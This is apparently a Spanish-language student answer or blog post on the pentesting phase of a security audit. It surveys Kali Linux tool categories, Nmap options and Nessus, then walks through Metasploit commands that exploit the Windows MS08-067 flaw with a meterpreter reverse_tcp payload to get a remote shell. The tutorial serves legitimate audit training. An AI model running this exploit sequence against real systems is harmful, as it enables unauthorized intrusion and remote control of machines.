12

12

@juanobb

Si tenemos que llevar a cabo una auditoria de seguridad informática en una empresa, llegados a la fase en que tenemos que realizar un pentesting del sistema, explica que herramientas informáticas utilizarías y con que finalidad.


La opción más completa, eficiente y rápida seria utilizar la distro Linux KaliLinux, desarrollada única y exclusivamente para tareas de Penetration Test. Las herramientas mas comunes para la realización de auditorias (Nmap, Nessus, Metasploit) están incluídas, además de muchas más herramientas para realizar el test.

Kali Linux puede ser descargada como imagen ISO para quemar en un CD/DVD/USB o descargar un imagen de instalación para máquina virtual (VirtualBox o VMWare). Vamos a suponer que los equipos de la empresa que vamos a auditar no disponen ningún programa de virtualización, así que, para perder tiempo instalándolo en cada de ellos optaremos por cargar todo el sistema operativo en un USB para ordenadores que permitan el arranque con este medio, y CD/DVD para los que no.

Una vez que inicias un sistema Kali Linux, verás un menú muy extenso con más de 300 herramientas para pentesters. Nmap y Metasploit Framework están incluidos en esta lista, entre otros.


Las herramientas instaladas están agrupadas en diferentes categorías, aquí algunas de las más importantes:


  • Recopilación de informacion: Herramientas de recolección de datos que ofrecen información sobre los objetivos de los análisis, especialmente herramientas de DNS, dominios y direcciones IP. Nmap está en esta categoría.
  • Análisis de Vulnerabilidades: Herramientas de análisis de vulnerabilidad entre las que se encuentran Nessus y Nmap, dos de las más importantes.
  • Aplicaciones web: Herramientas diseñadas para realizar análisis en sitios web a nivel de servidores. Recomendaciones para esta sección: Nikto y w3af para encontrar vulnerabilidades en los sitios.
  • Evaluación de bases de datos: Herramientas enfocadas al análisis de bases SQL y los programas asociados.
  • Ataques a contraseñas: Herramientas para hacer cracking de contraseñas, de forma tal, que se prueban ataques de fuerza bruta o diccionario para encontrar las contraseñas de acceso correctas a un formulario o sistema.
  • Ataques Wireless: Cuando un atacante está conectado a una red wireless puede ejecutar algunos ataques, especialmente cuando intenta interceptar información que está siendo transmitida mediante esa red inalámbrica. Estas herramientas permiten analizar la red y diagnosticar su seguridad.
  • Herramientas de explotación: Metasploit Framework es la clave de esta sección, entre otras herramientas que permiten explotar vulnerabilidades.
  • Husmeando/Envenanenando: Wireshark y Ettercap son las herramientas más recomendables. Con ellas, es posible ver el tráfico de red que podría permitir el acceso a información confidencial, entre otros ataques.
  • Ingeniería Reversa: Ollydbg es uno de los mejores debuggers que podrían ayudar a comprender qué acciones realiza un archivo en el sistema por medio de un proceso de ingeniería inversa.
  • Social enginering Tool: Herramientas para hacer de la ingenria social como el phising o el Spam.
  • Forensia: También hay una serie de herramientas para realizar análisis forenses sobre un sistema, es decir, se puede analizar el estado de un sistema justo en el momento que ocurrió determinado incidente; además se identifican acciones pasadas o archivos ocultos en el mismo, entre otros.

Una vez presentadas, el siguiente paso sería realizar un test general a toda la red y a todos los equipos con las herramientas que a continuación vamos a presentar, complementándola con otras herramientas mas especificas en función de las vulnerabilidades detectadas con el este protocolo general. Las herramientas a utilizar en el análisis general serian:

  • NMAP


Nmap a través de su interfaz gráfica, Zenmap



Nmap es una herramienta de escaneo de redes que permite identificar qué servicios se están ejecutando en un dispositivo remoto, así como la identificación de equipos activos, sistemas operativos en el equipo remoto, puertos abiertos, existencia de filtros o firewalls, entre otros.

Al atacar un servidor, red o dispositivo, realizaremos distintas acciones en función del servicio: no es lo mismo dañar un servidor web, un servidor de base de datos o un router perimetral. Por lo tanto, en cualquier auditoria, el primer paso será identificar los servicios de la infraestructura, para decidir cómo avanzar considerando que en una prueba de pen test se imitan los pasos de un atacante.

Nmap es una herramienta de línea de comandos pero su puede usar a través de Zenmap (imágen anterior) que es una interfaz gráfica para su uso. Indicaremos cuál será el o los objetivos y la serie de parámetros que afectarán la forma en que se ejecuten las pruebas y los resultados que se obtienen.

En su forma tradicional, una línea de comando sería la siguiente:

> nmap 172.16.1.1

En donde nmap es el comando en sí mismo y 172.16.1.1 es el objetivo (que también puede ser indicado con un nombre de dominio). La respuesta a estos comandos será un listado de los puertos abiertos o cerrados en dicha dirección. La ejecución sin parámetros ejecuta un escaneo sencillo a los 1000 puertos más comunes (véase que en la imagen se muestra uno abierto y 999 cerrados), realizando anteriormente un ping para ver si el equipo está vivo (si el equipo no responde al ping, no se realizará el test de los puertos).

Cuando agregas parámetros puedes obtener mejores resultados. Algunos parámetros comunes para tener en cuenta son:

  • [-iL] puedes indicar una lista de equipos o redes a escanear. > nmap –iL hosts.txt
  • [-sP] solo escanea con un ping. Es una buena forma de ver cuántas direcciones IP se pueden checar. Una vez que se tienen enlistadas, se podrá ir solo con las que están vivas.
  • [-P0] es la forma de omitir el ping e ir directo al escaneo de puertos. Muchos sistemas no responden el ping como método de seguridad, por lo que, escanearlos de todas formas, también puede ser útil en entornos más reales (no es necesario para los entornos de aprendizaje inicial).
  • [-p] lista los puertos que se desean escanear. > nmap –iL hosts.txt –p 22,25,80,445
  • [-sV] intenta determinar la versión del servicio en el objetivo.
  • [-O] informa el sistema operativo en el objetivo.

Una vez ejecutado Nmap, ya se conocen cuáles son los servicios (al menos los identificados) que se están ejecutando en el blanco de la prueba de penetración. Ahora ya se puede pasar a las siguientes etapas, en donde se utilizará esta información para comenzar la búsqueda de vulnerabilidades en la infraestructura y en los servicios identificados.


  • NESSUS


Ya tenemos identificados los servicios que se están ejecutando podemos comenzar el uso de las herramientas que sirven para identificar vulnerabilidades en los servicios. En este campo, la mejor herramienta para introducirse en este mundo es Nessus.

Aunque posee una línea de comandos, tiene una interfaz gráfica que funciona sobre el navegador web, muy completa e intuitiva.

Nessus posee una extensa base de datos de vulnerabilidades conocidas en distintos servicios y, por cada una de éstas, posee plugins que se ejecutan para identificar si la vulnerabilidad existe (o no) en determinado equipo objetivo. En resumen, al ejecutarse Nessus sin parámetros específicos, se probarán miles de vulnerabilidades y se obtendrá como resultado un listado de las vulnerabilidades que fueron identificadas.

La lógica de Nessus es similar a Nmap: hay que indicar el objetivo, en este caso la o las direcciones IP y los parámetros. Estos permiten limitar el campo de búsqueda, especialmente si en una etapa anterior se identificaron los servicios: no tiene sentido buscar vulnerabilidades conocidas en Linux en un equipo que tiene instalado Windows.

  • METASPLOT FRAMEWORK



A pesar de que se haya identificado una vulnerabilidad en la instancia anterior, podría ser que, al momento de intentar explotarla, existan otras medidas de control que no hayan sido consideradas, otras capas de seguridad o distintas variables que podrían hacer más complicada la explotación de la misma. Para ello utlizaremos Metasploit Framework, que sirve básicamente para cargar un determinado exploit (pequeño programa que se aprovecha de una vulnerabilidad) de entre una larga de datos. En otras palabras, en lugar de revisar si hay una vulnerabilidad en un equipo remoto, directamente intenta la ejecución de un exploit y se simulan las consecuencias posteriores, en caso de que éste se ejecutara con éxito.

Asimismo, si se logra explotar la vulnerabilidad, podría comprobarse y dimensionar cuál podría ser el daño hacia la organización, en función de la información o sistemas que estuvieran “detrás” de dicha vulnerabilidad.


Funciona a través de la línea de comandos. Tan solo debes ejecutar un simple comando:

> sudo msfpro

Una vez que estás en la consola, verás que cambia el prompt:

msf-pro >

Hay una serie de comandos sencillos para dar los primeros pasos. Search, use, show, set y exploit son probablemente los mejores. Probaremos explotar una de las vulnerabilidades más famosas en Windows, la MS 08-067 (para ver el boletín de la vulnerabilidad, clic aquí), una vulnerabilidad crítica descubierta en 2008 que permitía ejecución remota de código.

Si en un paso anterior (con Nessus) encontramos que el sistema posee dicha vulnerabilidad (con Nmap podríamos haber encontrado que estás lidiando con una máquina Windows), sería lógico con search encontrar el exploit a utilizar.

msf-pro > search exploits 08-067

Entre los resultados, lo más importante es que podrás encontrar la ruta del exploit y luego con use podrás decidir utilizarlo:

msf-pro > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >

El comando show mostrará las alternativas para ejecutar el exploit.

msf exploit(ms08_067_netapi) > show options

Luego, se podrá utilizar el comando set para configurar el exploit antes de la ejecución. En este caso, definiremos el local host (nuestra dirección IP), al host remoto (la dirección IP de destino, donde se supone que ya sabemos existe la vulnerabilidad) y el payload (acción a ejecutar, en este caso usaremos reverse_tcp que nos dará una consola remota en el equipo).

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST [192.168.0.1]

msf exploit(ms08_067_netapi) > set RHOST [192.168.0.10]

Finalmente, solo debes ejecutar “exploit”.

msf exploit(ms08_067_netapi) > exploit

Si conseguimos hacer estos pasos correctamente, podremos ver una consola remota en el equipo Windows y podremos testearla con comandos regulares de consola (ipconfig, dir, etc.).




Report Page